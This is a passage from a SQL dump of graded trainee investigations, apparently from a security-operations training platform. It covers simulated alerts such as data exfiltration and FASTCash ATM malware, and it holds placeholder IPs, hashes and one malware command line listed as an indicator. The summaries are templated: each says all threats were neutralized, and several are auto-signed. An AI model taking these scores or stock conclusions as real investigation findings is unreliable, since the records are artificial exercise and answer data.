(+30)\",\"missed_items\":[],\"strengths\":\"Solid analysis\"}', NULL, '2026-03-09 02:54:27', '2026-03-09 02:57:18', 0, NULL),
(458, 189, 323, 'graded', 100, 'Verdict is correct (+40). All critical artifacts identified (+30). Response actions correct (+30)', '{\"playbook_version\":2,\"checkedArtifacts\":[\"ip-10.0.0.25\",\"ip-203.0.113.45\",\"hash-b1946ac9\",\"artifact_4\"],\"selectedActions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\",\"escalate\"],\"verdict\":\"true_positive\",\"conclusion\":\"INVESTIGATION EXECUTIVE SUMMARY\\n===============================\\nDATE: 3/9/2026, 3:59:06 AM\\nALERT: Data Exfiltration Attempt [OP: Operation Silent Harvest]\\nVERDICT: TRUE POSITIVE\\n\\nKEY FINDINGS (4)\\n----------------\\n- [IP] 10.0.0.25\\n- [IP] 203.0.113.45\\n- [HASH] b1946ac92492d2347c6235b4d2611184\\n- [FILENAME] confidential_data.zip\\n\\nCONTAINMENT PROTOCOLS DEPLOYED (6)\\n------------------------------\\n- Isolate Host\\n- Block IP/Domain\\n- Block File Hash\\n- Reset Credentials\\n- Collect Forensics\\n- Escalate to Tier 3\\n\\nANALYSIS\\n--------\\nInvestigation concluded based on verified telemetry and playbook protocols. All identified threats have been neutralized or escalated as per standard operating procedure.\\n\\nSIGNED: AMADOU MANE\",\"submitted_at\":\"2026-03-09T02:59:15.881Z\"}', '{\"verdict_correctness\":\"Correct\",\"key_findings\":\"Verdict is correct (+40). All critical artifacts identified (+30). Response actions correct (+30)\",\"missed_items\":[],\"strengths\":\"Solid analysis\"}', NULL, '2026-03-09 02:57:18', '2026-03-09 02:59:15', 0, NULL),
(459, 189, 324, 'graded', 100, 'Verdict is correct (+40). All critical artifacts identified (+30). Response actions correct (+30)', '{\"playbook_version\":2,\"checkedArtifacts\":[\"ip-10.0.5.23\",\"ip-203.0.113.45\",\"hash-e99a18c4\",\"artifact_3\",\"artifact_5\"],\"selectedActions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\",\"escalate\"],\"verdict\":\"true_positive\",\"conclusion\":\"INVESTIGATION EXECUTIVE SUMMARY\\n===============================\\nDATE: 3/9/2026, 4:01:48 AM\\nALERT: Suspicious Network Traffic Detected [OP: Operation Infinite Loop]\\nVERDICT: TRUE POSITIVE\\n\\nKEY FINDINGS (5)\\n----------------\\n- [IP] 10.0.5.23\\n- [IP] 203.0.113.45\\n- [HASH] e99a18c428cb38d5f260853678922e03\\n- [USERNAME] jdoe\\n- [FILENAME] suspicious_payload.exe\\n\\nCONTAINMENT PROTOCOLS DEPLOYED (6)\\n------------------------------\\n- Isolate Host\\n- Block IP/Domain\\n- Block File Hash\\n- Reset Credentials\\n- Collect Forensics\\n- Escalate to Tier 3\\n\\nANALYSIS\\n--------\\nInvestigation concluded based on verified telemetry and playbook protocols. All identified threats have been neutralized or escalated as per standard operating procedure.\\n\\nSIGNED: AMADOU MANE\",\"submitted_at\":\"2026-03-09T03:01:58.280Z\"}', '{\"verdict_correctness\":\"Correct\",\"key_findings\":\"Verdict is correct (+40). All critical artifacts identified (+30). Response actions correct (+30)\",\"missed_items\":[],\"strengths\":\"Solid analysis\"}', NULL, '2026-03-09 02:59:38', '2026-03-09 03:01:58', 0, NULL),
(460, 189, 325, 'graded', 93, 'Verdict is correct (+40). All critical artifacts identified (+30). Missed response actions (3/4)', '{\"playbook_version\":2,\"checkedArtifacts\":[\"ip-185.143.223.91\",\"ip-192.168.1.1\",\"hash-e99a18c4\",\"artifact_4\",\"artifact_5\"],\"selectedActions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\"],\"verdict\":\"true_positive\",\"conclusion\":\"INVESTIGATION EXECUTIVE SUMMARY\\n===============================\\nDATE: 3/9/2026, 4:04:04 AM\\nALERT: Malicious Firmware Update Detected [OP: Operation Infinite Loop]\\nVERDICT: TRUE POSITIVE\\n\\nKEY FINDINGS (5)\\n----------------\\n- [IP] 185.143.223.91\\n- [IP] 192.168.1.1\\n- [HASH] e99a18c428cb38d5f260853678922e03\\n- [FILENAME] firmware_update_v5.3.2.bin\\n- [USERNAME] admin\\n\\nCONTAINMENT PROTOCOLS DEPLOYED (5)\\n------------------------------\\n- Isolate Host\\n- Block IP/Domain\\n- Block File Hash\\n- Reset Credentials\\n- Collect Forensics\\n\\nANALYSIS\\n--------\\nInvestigation concluded based on verified telemetry and playbook protocols. All identified threats have been neutralized or escalated as per standard operating procedure.\\n\\nSIGNED: AMADOU MANE\",\"submitted_at\":\"2026-03-09T03:04:18.391Z\"}', '{\"verdict_correctness\":\"Correct\",\"key_findings\":\"Verdict is correct (+40). All critical artifacts identified (+30). Missed response actions (3/4)\",\"missed_items\":[\"escalate\"],\"strengths\":\"Solid analysis\"}', NULL, '2026-03-09 03:01:58', '2026-03-09 03:04:18', 0, NULL),
(461, 189, 326, 'graded', 100, 'Verdict is correct (+40). All critical artifacts identified (+30). Response actions correct (+30)', '{\"playbook_version\":2,\"checkedArtifacts\":[\"ip-203.0.113.45\",\"ip-192.168.1.101\",\"artifact_2\",\"artifact_3\",\"artifact_4\"],\"selectedActions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\",\"escalate\"],\"verdict\":\"true_positive\",\"conclusion\":\"INVESTIGATION EXECUTIVE SUMMARY\\n===============================\\nDATE: 3/9/2026, 4:05:30 AM\\nALERT: Persistence Mechanism Established [OP: Operation Infinite Loop]\\nVERDICT: TRUE POSITIVE\\n\\nKEY FINDINGS (5)\\n----------------\\n- [IP] 203.0.113.45\\n- [IP] 192.168.1.101\\n- [HASH] 3a5f2b3df5b9e3c6d6b8c2e9a1f4b8d7\\n- [FILENAME] /dev/mtd0\\n- [USERNAME] admin\\n\\nCONTAINMENT PROTOCOLS DEPLOYED (6)\\n------------------------------\\n- Isolate Host\\n- Block IP/Domain\\n- Block File Hash\\n- Reset Credentials\\n- Collect Forensics\\n- Escalate to Tier 3\\n\\nANALYSIS\\n--------\\nInvestigation concluded based on verified telemetry and playbook protocols. All identified threats have been neutralized or escalated as per standard operating procedure.\\n\\nSIGNED: A. MANE\",\"submitted_at\":\"2026-03-09T03:05:43.039Z\"}', '{\"verdict_correctness\":\"Correct\",\"key_findings\":\"Verdict is correct (+40). All critical artifacts identified (+30). Response actions correct (+30)\",\"missed_items\":[],\"strengths\":\"Solid analysis\"}', NULL, '2026-03-09 03:04:18', '2026-03-09 03:05:43', 0, NULL),
(462, 189, 327, 'graded', 100, 'Verdict is correct (+40). All critical artifacts identified (+30). Response actions correct (+30)', '{\"playbook_version\":2,\"checkedArtifacts\":[\"ip-203.0.113.45\",\"ip-10.1.1.5\",\"hash-5d41402a\",\"artifact_3\",\"artifact_4\"],\"selectedActions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\",\"escalate\"],\"verdict\":\"true_positive\",\"conclusion\":\"INVESTIGATION EXECUTIVE SUMMARY\\n===============================\\nDATE: 3/9/2026, 4:06:42 AM\\nALERT: Lateral Movement Detected [OP: Operation Infinite Loop]\\nVERDICT: TRUE POSITIVE\\n\\nKEY FINDINGS (5)\\n----------------\\n- [IP] 203.0.113.45\\n- [IP] 10.1.1.5\\n- [HASH] 5d41402abc4b2a76b9719d911017c592\\n- [USERNAME] compromised_user\\n- [FILENAME] malicious_payload.exe\\n\\nCONTAINMENT PROTOCOLS DEPLOYED (6)\\n------------------------------\\n- Isolate Host\\n- Block IP/Domain\\n- Block File Hash\\n- Reset Credentials\\n- Collect Forensics\\n- Escalate to Tier 3\\n\\nANALYSIS\\n--------\\nInvestigation concluded based on verified telemetry and playbook protocols. All identified threats have been neutralized or escalated as per standard operating procedure.\\n\\nSIGNED: A. MANE\",\"submitted_at\":\"2026-03-09T03:06:52.676Z\"}', '{\"verdict_correctness\":\"Correct\",\"key_findings\":\"Verdict is correct (+40). All critical artifacts identified (+30). Response actions correct (+30)\",\"missed_items\":[],\"strengths\":\"Solid analysis\"}', NULL, '2026-03-09 03:05:43', '2026-03-09 03:06:52', 0, NULL),
(463, 189, 328, 'graded', 100, 'Verdict is correct (+40). All critical artifacts identified (+30). Response actions correct (+30)', '{\"playbook_version\":2,\"checkedArtifacts\":[\"ip-10.0.5.23\",\"ip-203.0.113.45\",\"hash-d41d8cd9\",\"artifact_3\"],\"selectedActions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\",\"escalate\"],\"verdict\":\"true_positive\",\"conclusion\":\"INVESTIGATION EXECUTIVE SUMMARY\\n===============================\\nDATE: 3/9/2026, 4:08:02 AM\\nALERT: Command and Control Channel Established [OP: Operation Infinite Loop]\\nVERDICT: TRUE POSITIVE\\n\\nKEY FINDINGS (4)\\n----------------\\n- [IP] 10.0.5.23\\n- [IP] 203.0.113.45\\n- [HASH] d41d8cd98f00b204e9800998ecf8427e\\n- [USERNAME] jdoe\\n\\nCONTAINMENT PROTOCOLS DEPLOYED (6)\\n------------------------------\\n- Isolate Host\\n- Block IP/Domain\\n- Block File Hash\\n- Reset Credentials\\n- Collect Forensics\\n- Escalate to Tier 3\\n\\nANALYSIS\\n--------\\nInvestigation concluded based on verified telemetry and playbook protocols. All identified threats have been neutralized or escalated as per standard operating procedure.\\n\\nSIGNED: A. MANE\",\"submitted_at\":\"2026-03-09T03:08:15.658Z\"}', '{\"verdict_correctness\":\"Correct\",\"key_findings\":\"Verdict is correct (+40). All critical artifacts identified (+30). Response actions correct (+30)\",\"missed_items\":[],\"strengths\":\"Solid analysis\"}', NULL, '2026-03-09 03:06:52', '2026-03-09 03:08:15', 0, NULL),
(464, 189, 329, 'graded', 100, 'Verdict is correct (+40). All critical artifacts identified (+30). Response actions correct (+30)', '{\"playbook_version\":2,\"checkedArtifacts\":[\"ip-192.168.1.25\",\"ip-203.0.113.45\",\"hash-e99a18c4\",\"artifact_3\"],\"selectedActions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\",\"escalate\"],\"verdict\":\"true_positive\",\"conclusion\":\"INVESTIGATION EXECUTIVE SUMMARY\\n===============================\\nDATE: 3/9/2026, 4:09:17 AM\\nALERT: Data Exfiltration Attempt Detected [OP: Operation Infinite Loop]\\nVERDICT: TRUE POSITIVE\\n\\nKEY FINDINGS (4)\\n----------------\\n- [IP] 192.168.1.25\\n- [IP] 203.0.113.45\\n- [HASH] e99a18c428cb38d5f260853678922e03\\n- [FILENAME] confidential_report.pdf\\n\\nCONTAINMENT PROTOCOLS DEPLOYED (6)\\n------------------------------\\n- Isolate Host\\n- Block IP/Domain\\n- Block File Hash\\n- Reset Credentials\\n- Collect Forensics\\n- Escalate to Tier 3\\n\\nANALYSIS\\n--------\\nInvestigation concluded based on verified telemetry and playbook protocols. All identified threats have been neutralized or escalated as per standard operating procedure.\\n\\nSIGNED: A. MANE\",\"submitted_at\":\"2026-03-09T03:09:29.739Z\"}', '{\"verdict_correctness\":\"Correct\",\"key_findings\":\"Verdict is correct (+40). All critical artifacts identified (+30). Response actions correct (+30)\",\"missed_items\":[],\"strengths\":\"Solid analysis\"}', NULL, '2026-03-09 03:08:15', '2026-03-09 03:09:29', 0, NULL),
(465, 189, 330, 'graded', 100, 'Verdict is correct (+40). All critical artifacts identified (+30). Response actions correct (+30)', '{\"playbook_version\":2,\"checkedArtifacts\":[\"ip-203.0.113.45\",\"ip-10.0.5.23\",\"hash-a3f5c3d4\",\"artifact_3\"],\"selectedActions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\",\"escalate\"],\"verdict\":\"true_positive\",\"conclusion\":\"INVESTIGATION EXECUTIVE SUMMARY\\n===============================\\nDATE: 3/9/2026, 4:10:47 AM\\nALERT: Privilege Escalation Detected [OP: Operation Infinite Loop]\\nVERDICT: TRUE POSITIVE\\n\\nKEY FINDINGS (4)\\n----------------\\n- [IP] 203.0.113.45\\n- [IP] 10.0.5.23\\n- [HASH] a3f5c3d4b8e5f6a7d9e8c1b7a9f0c8b7\\n- [USERNAME] john_doe\\n\\nCONTAINMENT PROTOCOLS DEPLOYED (6)\\n------------------------------\\n- Isolate Host\\n- Block IP/Domain\\n- Block File Hash\\n- Reset Credentials\\n- Collect Forensics\\n- Escalate to Tier 3\\n\\nANALYSIS\\n--------\\nInvestigation concluded based on verified telemetry and playbook protocols. All identified threats have been neutralized or escalated as per standard operating procedure.\\n\\nSIGNED: A. MANE\",\"submitted_at\":\"2026-03-09T03:10:56.034Z\"}', '{\"verdict_correctness\":\"Correct\",\"key_findings\":\"Verdict is correct (+40). All critical artifacts identified (+30). Response actions correct (+30)\",\"missed_items\":[],\"strengths\":\"Solid analysis\"}', NULL, '2026-03-09 03:09:29', '2026-03-09 03:11:59', 1, 'issue'),
(466, 189, 331, 'investigating', NULL, NULL, NULL, NULL, NULL, '2026-03-09 03:10:56', '2026-03-09 03:10:56', 0, NULL),
(467, 225, 1443, 'graded', 100, 'Verdict is correct (+40). All critical artifacts identified (+30). Response actions correct (+30)', '{\"playbook_version\":2,\"checkedArtifacts\":[\"ip-172.217.18.110\",\"ip-10.0.0.15\",\"hash-d41d8cd9\",\"artifact_3\",\"artifact_4\"],\"selectedActions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\",\"escalate\"],\"verdict\":\"true_positive\",\"conclusion\":\"INVESTIGATION EXECUTIVE SUMMARY\\n===============================\\nDATE: 3/9/2026, 2:20:39 PM\\nALERT: Initial Access via Spear Phishing [OP: Operation In(ter)ception]\\nVERDICT: TRUE POSITIVE\\n\\nKEY FINDINGS (5)\\n----------------\\n- [IP] 172.217.18.110\\n- [IP] 10.0.0.15\\n- [HASH] d41d8cd98f00b204e9800998ecf8427e\\n- [EMAIL] j.smith@aerospace-experts.com\\n- [URL] http://compromised-site.com/login\\n\\nCONTAINMENT PROTOCOLS DEPLOYED (6)\\n------------------------------\\n- Isolate Host\\n- Block IP/Domain\\n- Block File Hash\\n- Reset Credentials\\n- Collect Forensics\\n- Escalate to Tier 3\\n\\nANALYSIS\\n--------\\nInvestigation concluded based on verified telemetry and playbook protocols. All identified threats have been neutralized or escalated as per standard operating procedure.\\n\\nSIGNED: Analyst (Auto-Generated)\",\"submitted_at\":\"2026-03-09T03:20:49.010Z\"}', '{\"verdict_correctness\":\"Correct\",\"key_findings\":\"Verdict is correct (+40). All critical artifacts identified (+30). Response actions correct (+30)\",\"missed_items\":[],\"strengths\":\"Solid analysis\"}', '2026-03-09 06:28:44', '2026-03-09 03:18:44', '2026-03-09 03:20:49', 0, NULL),
(468, 225, 1444, 'graded', 100, 'Verdict is correct (+40). All critical artifacts identified (+30). Response actions correct (+30)', '{\"playbook_version\":2,\"checkedArtifacts\":[\"ip-203.0.113.45\",\"ip-192.168.1.10\",\"hash-3fa8f88c\",\"artifact_3\"],\"selectedActions\":[\"block_ip\",\"isolate_host\",\"block_hash\",\"reset_credentials\",\"escalate\",\"collect_forensics\"],\"verdict\":\"true_positive\",\"conclusion\":\"INVESTIGATION EXECUTIVE SUMMARY\\n===============================\\nDATE: 3/9/2026, 2:22:21 PM\\nALERT: Execution of Custom Mac Malware [OP: Operation In(ter)ception]\\nVERDICT: TRUE POSITIVE\\n\\nKEY FINDINGS (4)\\n----------------\\n- [IP] 203.0.113.45\\n- [IP] 192.168.1.10\\n- [HASH] 3fa8f88c9b1e237e9b6c8e1e4d9e2f7c\\n- [FILENAME] launchProxy\\n\\nCONTAINMENT PROTOCOLS DEPLOYED (6)\\n------------------------------\\n- Isolate Host\\n- Block IP/Domain\\n- Block File Hash\\n- Reset Credentials\\n- Collect Forensics\\n- Escalate to Tier 3\\n\\nANALYSIS\\n--------\\nInvestigation concluded based on verified telemetry and playbook protocols. All identified threats have been neutralized or escalated as per standard operating procedure.\\n\\nSIGNED: Analyst (Auto-Generated)\",\"submitted_at\":\"2026-03-09T03:22:28.803Z\"}', '{\"verdict_correctness\":\"Correct\",\"key_findings\":\"Verdict is correct (+40). All critical artifacts identified (+30). Response actions correct (+30)\",\"missed_items\":[],\"strengths\":\"Solid analysis\"}', NULL, '2026-03-09 03:20:49', '2026-03-09 03:22:28', 0, NULL),
(469, 225, 1445, 'graded', 100, 'Verdict is correct (+40). All critical artifacts identified (+30). Response actions correct (+30)', '{\"playbook_version\":2,\"checkedArtifacts\":[\"ip-192.168.1.45\",\"ip-10.0.5.12\",\"ip-203.0.113.5\",\"artifact_3\",\"artifact_4\"],\"selectedActions\":[\"isolate_host\",\"block_hash\",\"collect_forensics\",\"escalate\",\"reset_credentials\",\"block_ip\"],\"verdict\":\"true_positive\",\"conclusion\":\"INVESTIGATION EXECUTIVE SUMMARY\\n===============================\\nDATE: 3/9/2026, 2:23:40 PM\\nALERT: Establishing Persistence and Lateral Movement [OP: Operation In(ter)ception]\\nVERDICT: TRUE POSITIVE\\n\\nKEY FINDINGS (5)\\n----------------\\n- [IP] 192.168.1.45\\n- [IP] 10.0.5.12\\n- [IP] 203.0.113.5\\n- [USERNAME] jdoe\\n- [HASH] 7e4d2b6e3f8c6b1b9a3c342f5d7a8a3b\\n\\nCONTAINMENT PROTOCOLS DEPLOYED (6)\\n------------------------------\\n- Isolate Host\\n- Block IP/Domain\\n- Block File Hash\\n- Reset Credentials\\n- Collect Forensics\\n- Escalate to Tier 3\\n\\nANALYSIS\\n--------\\nInvestigation concluded based on verified telemetry and playbook protocols. All identified threats have been neutralized or escalated as per standard operating procedure.\\n\\nSIGNED: Analyst (Auto-Generated)\",\"submitted_at\":\"2026-03-09T03:23:46.689Z\"}', '{\"verdict_correctness\":\"Correct\",\"key_findings\":\"Verdict is correct (+40). All critical artifacts identified (+30). Response actions correct (+30)\",\"missed_items\":[],\"strengths\":\"Solid analysis\"}', NULL, '2026-03-09 03:22:28', '2026-03-09 03:23:46', 0, NULL);
INSERT INTO `investigations` (`id`, `user_id`, `alert_id`, `status`, `grade`, `feedback`, `executive_summary`, `ai_summary`, `ai_evaluation_scheduled_at`, `created_at`, `updated_at`, `is_reported`, `report_reason`) VALUES
(470, 225, 1456, 'graded', 100, 'Verdict is correct (+40). All critical artifacts identified (+30). Response actions correct (+30)', '{\"playbook_version\":2,\"checkedArtifacts\":[\"ip-203.0.113.45\",\"ip-192.168.1.50\",\"hash-d41d8cd9\",\"artifact_4\"],\"selectedActions\":[\"isolate_host\",\"block_hash\",\"collect_forensics\",\"escalate\",\"reset_credentials\",\"block_ip\"],\"verdict\":\"true_positive\",\"conclusion\":\"INVESTIGATION EXECUTIVE SUMMARY\\n===============================\\nDATE: 3/9/2026, 4:41:48 PM\\nALERT: Suspicious Access to Transaction Switch [OP: Operation FASTCash]\\nVERDICT: TRUE POSITIVE\\n\\nKEY FINDINGS (4)\\n----------------\\n- [IP] 203.0.113.45\\n- [IP] 192.168.1.50\\n- [HASH] d41d8cd98f00b204e9800998ecf8427e\\n- [FILENAME] APT38_tool.bin\\n\\nCONTAINMENT PROTOCOLS DEPLOYED (6)\\n------------------------------\\n- Isolate Host\\n- Block IP/Domain\\n- Block File Hash\\n- Reset Credentials\\n- Collect Forensics\\n- Escalate to Tier 3\\n\\nANALYSIS\\n--------\\nInvestigation concluded based on verified telemetry and playbook protocols. All identified threats have been neutralized or escalated as per standard operating procedure.\\n\\nSIGNED: Analyst (Auto-Generated)\",\"submitted_at\":\"2026-03-09T05:41:53.954Z\"}', '{\"verdict_correctness\":\"Correct\",\"key_findings\":\"Verdict is correct (+40). All critical artifacts identified (+30). Response actions correct (+30)\",\"missed_items\":[],\"strengths\":\"Solid analysis\"}', '2026-03-09 08:46:01', '2026-03-09 05:37:01', '2026-03-09 05:41:53', 0, NULL),
(471, 225, 1457, 'graded', 100, 'Verdict is correct (+40). All critical artifacts identified (+30). Response actions correct (+30)', '{\"playbook_version\":2,\"checkedArtifacts\":[\"ip-185.92.220.123\",\"ip-192.168.10.25\",\"hash-b6a9c8e1\",\"cmd-1\",\"artifact_4\"],\"selectedActions\":[\"escalate\",\"collect_forensics\",\"block_hash\",\"isolate_host\",\"block_ip\",\"reset_credentials\"],\"verdict\":\"true_positive\",\"conclusion\":\"INVESTIGATION EXECUTIVE SUMMARY\\n===============================\\nDATE: 3/9/2026, 4:43:00 PM\\nALERT: Malicious Code Execution Detected [OP: Operation FASTCash]\\nVERDICT: TRUE POSITIVE\\n\\nKEY FINDINGS (5)\\n----------------\\n- [IP] 185.92.220.123\\n- [IP] 192.168.10.25\\n- [HASH] b6a9c8e1d1d7d4a5f1b5c3e2a8f4b9d0\\n- [COMMAND] cmd.exe /c C:\\\\Malware\\\\ATMCodeChanger.exe\\n- [FILENAME] ATMCodeChanger.exe\\n\\nCONTAINMENT PROTOCOLS DEPLOYED (6)\\n------------------------------\\n- Isolate Host\\n- Block IP/Domain\\n- Block File Hash\\n- Reset Credentials\\n- Collect Forensics\\n- Escalate to Tier 3\\n\\nANALYSIS\\n--------\\nInvestigation concluded based on verified telemetry and playbook protocols. All identified threats have been neutralized or escalated as per standard operating procedure.\\n\\nSIGNED: Analyst (Auto-Generated)\",\"submitted_at\":\"2026-03-09T05:43:01.207Z\"}', '{\"verdict_correctness\":\"Correct\",\"key_findings\":\"Verdict is correct (+40). All critical artifacts identified (+30). Response actions correct (+30)\",\"missed_items\":[],\"strengths\":\"Solid analysis\"}', NULL, '2026-03-09 05:41:53', '2026-03-09 05:43:01', 0, NULL),
(472, 225, 1458, 'graded', 100, 'Verdict is correct (+40). All critical artifacts identified (+30). Response actions correct (+30)', '{\"playbook_version\":2,\"checkedArtifacts\":[\"ip-192.168.1.45\",\"ip-51.15.123.45\",\"hash-d41d8cd9\",\"artifact_4\"],\"selectedActions\":[\"isolate_host\",\"block_hash\",\"collect_forensics\",\"escalate\",\"reset_credentials\",\"block_ip\"],\"verdict\":\"true_positive\",\"conclusion\":\"INVESTIGATION EXECUTIVE SUMMARY\\n===============================\\nDATE: 3/9/2026, 4:44:02 PM\\nALERT: Establishing Persistent Access [OP: Operation FASTCash]\\nVERDICT: TRUE POSITIVE\\n\\nKEY FINDINGS (4)\\n----------------\\n- [IP] 192.168.1.45\\n- [IP] 51.15.123.45\\n- [HASH] d41d8cd98f00b204e9800998ecf8427e\\n- [FILENAME] svchost.exe\\n\\nCONTAINMENT PROTOCOLS DEPLOYED (6)\\n------------------------------\\n- Isolate Host\\n- Block IP/Domain\\n- Block File Hash\\n- Reset Credentials\\n- Collect Forensics\\n- Escalate to Tier 3\\n\\nANALYSIS\\n--------\\nInvestigation concluded based on verified telemetry and playbook protocols. All identified threats have been neutralized or escalated as per standard operating procedure.\\n\\nSIGNED: Analyst (Auto-Generated)\",\"submitted_at\":\"2026-03-09T05:44:07.314Z\"}', '{\"verdict_correctness\":\"Correct\",\"key_findings\":\"Verdict is correct (+40). All critical artifacts identified (+30). Response actions correct (+30)\",\"missed_items\":[],\"strengths\":\"Solid analysis\"}', NULL, '2026-03-09 05:43:01', '2026-03-09 05:44:07', 0, NULL),
(473, 225, 1459, 'graded', 100, 'Verdict is correct (+40). All critical artifacts identified (+30). Response actions correct (+30)', '{\"playbook_version\":2,\"checkedArtifacts\":[\"ip-203.0.113.45\",\"ip-10.0.0.15\",\"hash-3f4a9d7b\",\"artifact_3\",\"artifact_4\"],\"selectedActions\":[\"collect_forensics\",\"block_hash\",\"isolate_host\",\"block_ip\",\"reset_credentials\",\"escalate\"],\"verdict\":\"true_positive\",\"conclusion\":\"INVESTIGATION EXECUTIVE SUMMARY\\n===============================\\nDATE: 3/9/2026, 4:45:11 PM\\nALERT: Coordinated Mule Network Activation - Step 4 [OP: Operation FASTCash]\\nVERDICT: TRUE POSITIVE\\n\\nKEY FINDINGS (5)\\n----------------\\n- [IP] 203.0.113.45\\n- [IP] 10.0.0.15\\n- [HASH] 3f4a9d7b2e3f8c4b7d89e6f1a0b0c9d1\\n- [USERNAME] atm_operator\\n- [FILENAME] atm_control.exe\\n\\nCONTAINMENT PROTOCOLS DEPLOYED (6)\\n------------------------------\\n- Isolate Host\\n- Block IP/Domain\\n- Block File Hash\\n- Reset Credentials\\n- Collect Forensics\\n- Escalate to Tier 3\\n\\nANALYSIS\\n--------\\nInvestigation concluded based on verified telemetry and playbook protocols. All identified threats have been neutralized or escalated as per standard operating procedure.\\n\\nSIGNED: Analyst (Auto-Generated)\",\"submitted_at\":\"2026-03-09T05:45:12.720Z\"}', '{\"verdict_correctness\":\"Correct\",\"key_findings\":\"Verdict is correct (+40). All critical artifacts identified (+30). Response actions correct (+30)\",\"missed_items\":[],\"strengths\":\"Solid analysis\"}', NULL, '2026-03-09 05:44:07', '2026-03-09 05:45:12', 0, NULL),
(474, 225, 1460, 'graded', 100, 'Verdict is correct (+40). All critical artifacts identified (+30). Response actions correct (+30)', '{\"playbook_version\":2,\"checkedArtifacts\":[\"ip-192.168.10.45\",\"ip-203.0.113.15\",\"artifact_3\",\"artifact_4\",\"artifact_5\"],\"selectedActions\":[\"isolate_host\",\"block_hash\",\"collect_forensics\",\"escalate\",\"reset_credentials\",\"block_ip\"],\"verdict\":\"true_positive\",\"conclusion\":\"INVESTIGATION EXECUTIVE SUMMARY\\n===============================\\nDATE: 3/9/2026, 4:46:12 PM\\nALERT: Exfiltration of Stolen Funds [OP: Operation FASTCash]\\nVERDICT: TRUE POSITIVE\\n\\nKEY FINDINGS (5)\\n----------------\\n- [IP] 192.168.10.45\\n- [IP] 203.0.113.15\\n- [HASH] d41d8cd98f00b204e9800998ecf8427e\\n- [FILENAME] funds_transfer.exe\\n- [USERNAME] jdoe\\n\\nCONTAINMENT PROTOCOLS DEPLOYED (6)\\n------------------------------\\n- Isolate Host\\n- Block IP/Domain\\n- Block File Hash\\n- Reset Credentials\\n- Collect Forensics\\n- Escalate to Tier 3\\n\\nANALYSIS\\n--------\\nInvestigation concluded based on verified telemetry and playbook protocols. All identified threats have been neutralized or escalated as per standard operating procedure.\\n\\nSIGNED: Analyst (Auto-Generated)\",\"submitted_at\":\"2026-03-09T05:46:18.046Z\"}', '{\"verdict_correctness\":\"Correct\",\"key_findings\":\"Verdict is correct (+40). All critical artifacts identified (+30). Response actions correct (+30)\",\"missed_items\":[],\"strengths\":\"Solid analysis\"}', NULL, '2026-03-09 05:45:12', '2026-03-09 05:46:18', 0, NULL),
(475, 225, 1451, 'graded', 88, 'Verdict is correct (+40). All critical artifacts identified (+30). Missed response actions (3/5)', '{\"playbook_version\":2,\"checkedArtifacts\":[\"ip-203.0.113.45\",\"ip-10.0.0.5\",\"artifact_1\",\"artifact_3\"],\"selectedActions\":[\"isolate_host\",\"block_ip\",\"close_alert\",\"block_hash\",\"reset_credentials\"],\"verdict\":\"true_positive\",\"conclusion\":\"INVESTIGATION EXECUTIVE SUMMARY\\n===============================\\nDATE: 3/9/2026, 4:47:59 PM\\nALERT: Spear-Phishing Email Detected [OP: Operation CryptoCore]\\nVERDICT: TRUE POSITIVE\\n\\nKEY FINDINGS (4)\\n----------------\\n- [IP] 203.0.113.45\\n- [IP] 10.0.0.5\\n- [EMAIL] trustedpartner@example.com\\n- [HASH] d41d8cd98f00b204e9800998ecf8427e\\n\\nCONTAINMENT PROTOCOLS DEPLOYED (3)\\n------------------------------\\n- Isolate Host\\n- Block IP/Domain\\n- Close (No Action)\\n\\nANALYSIS\\n--------\\nInvestigation concluded based on verified telemetry and playbook protocols. All identified threats have been neutralized or escalated as per standard operating procedure.\\n\\nSIGNED: Analyst (Auto-Generated)\",\"submitted_at\":\"2026-03-09T05:48:52.914Z\"}', '{\"verdict_correctness\":\"Correct\",\"key_findings\":\"Verdict is correct (+40). All critical artifacts identified (+30). Missed response actions (3/5)\",\"missed_items\":[\"collect_forensics\",\"escalate\"],\"strengths\":\"Solid analysis\"}', '2026-03-09 08:55:02', '2026-03-09 05:47:02', '2026-03-09 05:48:52', 0, NULL),
(476, 225, 1452, 'graded', 100, 'Verdict is correct (+40). All critical artifacts identified (+30). Response actions correct (+30)', '{\"playbook_version\":2,\"checkedArtifacts\":[\"ip-203.0.113.5\",\"ip-10.0.0.15\",\"hash-f1d2d2f9\",\"artifact_3\",\"artifact_5\"],\"selectedActions\":[\"block_hash\",\"isolate_host\",\"block_ip\",\"reset_credentials\",\"escalate\",\"collect_forensics\"],\"verdict\":\"true_positive\",\"conclusion\":\"INVESTIGATION EXECUTIVE SUMMARY\\n===============================\\nDATE: 3/9/2026, 4:49:47 PM\\nALERT: Malicious Document Execution [OP: Operation CryptoCore]\\nVERDICT: TRUE POSITIVE\\n\\nKEY FINDINGS (5)\\n----------------\\n- [IP] 203.0.113.5\\n- [IP] 10.0.0.15\\n- [HASH] f1d2d2f924e986ac86fdf7b36c94bcdf32beec15\\n- [FILENAME] invoice_2023.docx\\n- [USERNAME] jdoe\\n\\nCONTAINMENT PROTOCOLS DEPLOYED (6)\\n------------------------------\\n- Isolate Host\\n- Block IP/Domain\\n- Block File Hash\\n- Reset Credentials\\n- Collect Forensics\\n- Escalate to Tier 3\\n\\nANALYSIS\\n--------\\nInvestigation concluded based on verified telemetry and playbook protocols. All identified threats have been neutralized or escalated as per standard operating procedure.\\n\\nSIGNED: Analyst (Auto-Generated)\",\"submitted_at\":\"2026-03-09T05:49:52.454Z\"}', '{\"verdict_correctness\":\"Correct\",\"key_findings\":\"Verdict is correct (+40). All critical artifacts identified (+30). Response actions correct (+30)\",\"missed_items\":[],\"strengths\":\"Solid analysis\"}', NULL, '2026-03-09 05:48:52', '2026-03-09 05:49:52', 0, NULL),
